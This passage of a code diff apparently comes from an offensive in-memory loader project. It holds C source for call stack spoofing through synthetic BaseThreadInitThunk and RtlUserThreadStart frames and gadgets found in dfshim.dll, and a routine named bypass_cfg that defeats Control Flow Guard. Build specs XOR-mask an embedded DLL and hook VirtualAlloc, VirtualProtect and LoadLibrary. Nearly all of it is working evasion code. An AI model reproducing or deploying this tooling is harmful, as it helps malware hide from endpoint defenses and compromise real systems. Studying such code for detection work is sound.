} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
// frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
|
||||
PVOID dfshim = KERNEL32$GetModuleHandleA ( "dfshim.dll" );
|
||||
|
||||
if ( dfshim != NULL ) {
|
||||
frame->Gadget = dfshim;
|
||||
} else {
|
||||
frame->Gadget = LoadLibraryA ( "dfshim.dll" );
|
||||
}
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
IMAGE_DOS_HEADER * dos_header = ( IMAGE_DOS_HEADER * ) ( module );
|
||||
|
||||
if ( dos_header->e_magic != IMAGE_DOS_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_NT_HEADERS * nt_headers = ( IMAGE_NT_HEADERS * ) ( ( UINT_PTR ) module + dos_header->e_lfanew );
|
||||
|
||||
if ( nt_headers->Signature != IMAGE_NT_SIGNATURE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER * section_header = IMAGE_FIRST_SECTION ( nt_headers );
|
||||
|
||||
for ( int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++ )
|
||||
{
|
||||
DWORD h = ror13hash ( ( char * ) section_header[ i ].Name );
|
||||
|
||||
if ( h == TEXT_HASH )
|
||||
{
|
||||
*virtual_address = section_header[ i ].VirtualAddress;
|
||||
*size = section_header[ i ].SizeOfRawData;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size ( RUNTIME_FUNCTION * runtime_function, const DWORD64 image_base )
|
||||
{
|
||||
UNWIND_INFO * unwind_info = NULL;
|
||||
ULONG unwind_operation = 0;
|
||||
ULONG operation_info = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frame_offset = 0;
|
||||
|
||||
STACK_FRAME stack_frame = { 0 };
|
||||
|
||||
if ( ! runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
unwind_info = ( UNWIND_INFO * ) ( runtime_function->UnwindData + image_base );
|
||||
|
||||
while ( index < unwind_info->CountOfCodes )
|
||||
{
|
||||
unwind_operation = unwind_info->UnwindCode[ index ].UnwindOp;
|
||||
operation_info = unwind_info->UnwindCode[ index ].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if ( unwind_operation == UWOP_PUSH_NONVOL )
|
||||
{
|
||||
stack_frame.TotalStackSize += 8;
|
||||
|
||||
if ( operation_info == RBP_OP_INFO )
|
||||
{
|
||||
stack_frame.PushRbp = TRUE;
|
||||
stack_frame.CountOfCodes = unwind_info->CountOfCodes;
|
||||
stack_frame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_NONVOL )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_SMALL )
|
||||
{
|
||||
stack_frame.TotalStackSize += ( ( operation_info * 8 ) + 8 );
|
||||
}
|
||||
else if ( unwind_operation == UWOP_ALLOC_LARGE )
|
||||
{
|
||||
index += 1;
|
||||
frame_offset = unwind_info->UnwindCode[ index ].FrameOffset;
|
||||
|
||||
if (operation_info == 0)
|
||||
{
|
||||
frame_offset *= 8;
|
||||
}
|
||||
else
|
||||
{
|
||||
index += 1;
|
||||
frame_offset += ( unwind_info->UnwindCode[ index ].FrameOffset << 16 );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += frame_offset;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SET_FPREG )
|
||||
{
|
||||
stack_frame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if ( unwind_operation == UWOP_SAVE_XMM128 )
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if ( 0 != ( unwind_info->Flags & UNW_FLAG_CHAININFO ) )
|
||||
{
|
||||
index = unwind_info->CountOfCodes;
|
||||
|
||||
if ( 0 != ( index & 1 ) )
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
|
||||
runtime_function = ( RUNTIME_FUNCTION * ) ( &unwind_info->UnwindCode [ index ] );
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
stack_frame.TotalStackSize += 8;
|
||||
return ( PVOID ) ( stack_frame.TotalStackSize );
|
||||
}
|
||||
|
||||
PVOID calculate_function_stack_size_wrapper ( PVOID return_address )
|
||||
{
|
||||
RUNTIME_FUNCTION * runtime_function = NULL;
|
||||
DWORD64 image_base = 0;
|
||||
PUNWIND_HISTORY_TABLE history_table = NULL;
|
||||
|
||||
if ( ! return_address ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
runtime_function = KERNEL32$RtlLookupFunctionEntry ( ( DWORD64 ) return_address, &image_base, history_table );
|
||||
|
||||
if ( NULL == runtime_function ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculate_function_stack_size ( runtime_function, image_base );
|
||||
}
|
||||
|
||||
PVOID find_gadget( PVOID module )
|
||||
{
|
||||
BOOL found_gadgets = FALSE;
|
||||
DWORD text_section_size = 0;
|
||||
DWORD text_section_va = 0;
|
||||
DWORD counter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG random = 0;
|
||||
PVOID module_text_section = NULL;
|
||||
|
||||
PVOID gadget_list [ 15 ] = { 0 };
|
||||
|
||||
if ( ! found_gadgets )
|
||||
{
|
||||
if ( ! get_text_section_size ( module, &text_section_va, &text_section_size ) ) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
module_text_section = ( PBYTE ) ( ( UINT_PTR ) module + text_section_va );
|
||||
|
||||
for ( int i = 0; i < ( text_section_size - 2 ); i++ )
|
||||
{
|
||||
/* x64 opcodes are ff 23 */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i ] == 0xFF && ( ( PBYTE ) module_text_section ) [ i + 1 ] == 0x23 )
|
||||
{
|
||||
/* check for a call before the gadget */
|
||||
if ( ( ( PBYTE ) module_text_section ) [ i - 5 ] == 0xE8 )
|
||||
{
|
||||
gadget_list [ counter ] = ( PVOID ) ( ( UINT_PTR ) module_text_section + i );
|
||||
counter++;
|
||||
|
||||
if ( counter == 15 ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
found_gadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
random = NTDLL$RtlRandomEx ( &seed );
|
||||
random %= counter;
|
||||
|
||||
return gadget_list [ random ];
|
||||
}
|
||||
|
||||
ULONG_PTR draugr_wrapper ( PVOID function, DWORD ssn, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4, PVOID arg5, PVOID arg6, PVOID arg7, PVOID arg8, PVOID arg9, PVOID arg10, PVOID arg11, PVOID arg12 )
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID return_address = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugr_params = { 0 };
|
||||
|
||||
if ( ssn ) {
|
||||
draugr_params.Ssn = ( PVOID ) ( ULONG_PTR ) ssn;
|
||||
}
|
||||
|
||||
SYNTHETIC_STACK_FRAME frame;
|
||||
init_frame_info ( &frame );
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame1.FunctionAddress + frame.Frame1.Offset );
|
||||
draugr_params.BaseThreadInitThunkStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.BaseThreadInitThunkReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.BaseThreadInitThunkStackSize || ! draugr_params.BaseThreadInitThunkReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return_address = ( PVOID ) ( ( UINT_PTR ) frame.Frame2.FunctionAddress + frame.Frame2.Offset );
|
||||
draugr_params.RtlUserThreadStartStackSize = calculate_function_stack_size_wrapper ( return_address );
|
||||
draugr_params.RtlUserThreadStartReturnAddress = return_address;
|
||||
|
||||
if ( ! draugr_params.RtlUserThreadStartStackSize || ! draugr_params.RtlUserThreadStartReturnAddress ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
do
|
||||
{
|
||||
draugr_params.Trampoline = find_gadget ( frame.Gadget );
|
||||
draugr_params.TrampolineStackSize = calculate_function_stack_size_wrapper ( draugr_params.Trampoline );
|
||||
|
||||
attempts++;
|
||||
|
||||
if ( attempts > 15 ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
} while ( draugr_params.TrampolineStackSize == NULL || ( ( __int64 ) draugr_params.TrampolineStackSize < 0x80 ) );
|
||||
|
||||
if ( ! draugr_params.Trampoline || ! draugr_params.TrampolineStackSize ) {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
|
||||
return ( ULONG_PTR ) draugr_stub ( arg1, arg2, arg3, arg4, &draugr_params, function, 8, arg5, arg6, arg7, arg8, arg9, arg10, arg11, arg12 );
|
||||
}
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call )
|
||||
{
|
||||
/* very inelegant */
|
||||
if ( call->argc == 0 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 1 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 2 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 3 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 4 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 5 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), NULL, NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 6 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), NULL, NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 7 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), NULL, NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 8 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), NULL, NULL, NULL, NULL );
|
||||
} else if ( call->argc == 9 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), NULL, NULL, NULL );
|
||||
} else if ( call->argc == 10 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), NULL, NULL );
|
||||
} else if ( call->argc == 11 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), NULL );
|
||||
} else if ( call->argc == 12 ) {
|
||||
return draugr_wrapper ( call->ptr, call->ssn, ( PVOID ) draugr_arg ( 0 ), ( PVOID ) draugr_arg ( 1 ), ( PVOID ) draugr_arg ( 2 ), ( PVOID ) draugr_arg ( 3 ), ( PVOID ) draugr_arg ( 4 ), ( PVOID ) draugr_arg ( 5 ), ( PVOID ) draugr_arg ( 6 ), ( PVOID ) draugr_arg ( 7 ), ( PVOID ) draugr_arg ( 8 ), ( PVOID ) draugr_arg ( 9 ), ( PVOID ) draugr_arg ( 10 ), ( PVOID ) draugr_arg ( 11 ) );
|
||||
} else {
|
||||
return ( ULONG_PTR ) ( NULL );
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#define spoof_arg(x) ( ULONG_PTR ) ( x )
|
||||
|
||||
typedef struct {
|
||||
PVOID ptr;
|
||||
DWORD ssn;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL;
|
||||
|
||||
ULONG_PTR spoof_call ( FUNCTION_CALL * call );
|
||||
@@ -15,7 +15,7 @@
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
@@ -25,47 +25,62 @@
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
void * findFunctionByHash(char * src, DWORD wantedFunction);
|
||||
char * findModuleByHash(DWORD moduleHash);
|
||||
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
@@ -74,7 +89,7 @@ void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
@@ -84,4 +99,4 @@ DWORD SizeOfDLL(DLLDATA * data);
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,21 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
Binary file not shown.
@@ -0,0 +1,48 @@
|
||||
x64:
|
||||
load "bin/loader.x64.o"
|
||||
make pic +gofirst +optimize +disco
|
||||
|
||||
# merge pic services
|
||||
run "services.spec"
|
||||
|
||||
patch "get_module_handle" $GMH
|
||||
patch "get_proc_address" $GPA
|
||||
|
||||
# merge hooks into the loader
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge call stack spoofing into the loader
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# load the stack spoofing assembly
|
||||
load "bin/draugr.x64.bin"
|
||||
# link is ok here because loader
|
||||
# will be in RX or RWX memory
|
||||
link "draugr_stub"
|
||||
|
||||
# hook functions that the loader uses
|
||||
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
attach "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
|
||||
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
|
||||
|
||||
# mask & link the dll
|
||||
generate $MASK 128
|
||||
push $DLL
|
||||
xor $MASK
|
||||
preplen
|
||||
link "dll"
|
||||
|
||||
push $MASK
|
||||
preplen
|
||||
link "mask"
|
||||
|
||||
# now get the tradecraft as a PICO
|
||||
run "pico.spec"
|
||||
link "pico"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,35 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "KERNEL32$LoadLibraryW" "_LoadLibraryW"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -0,0 +1,7 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "strings"
|
||||
@@ -0,0 +1,78 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
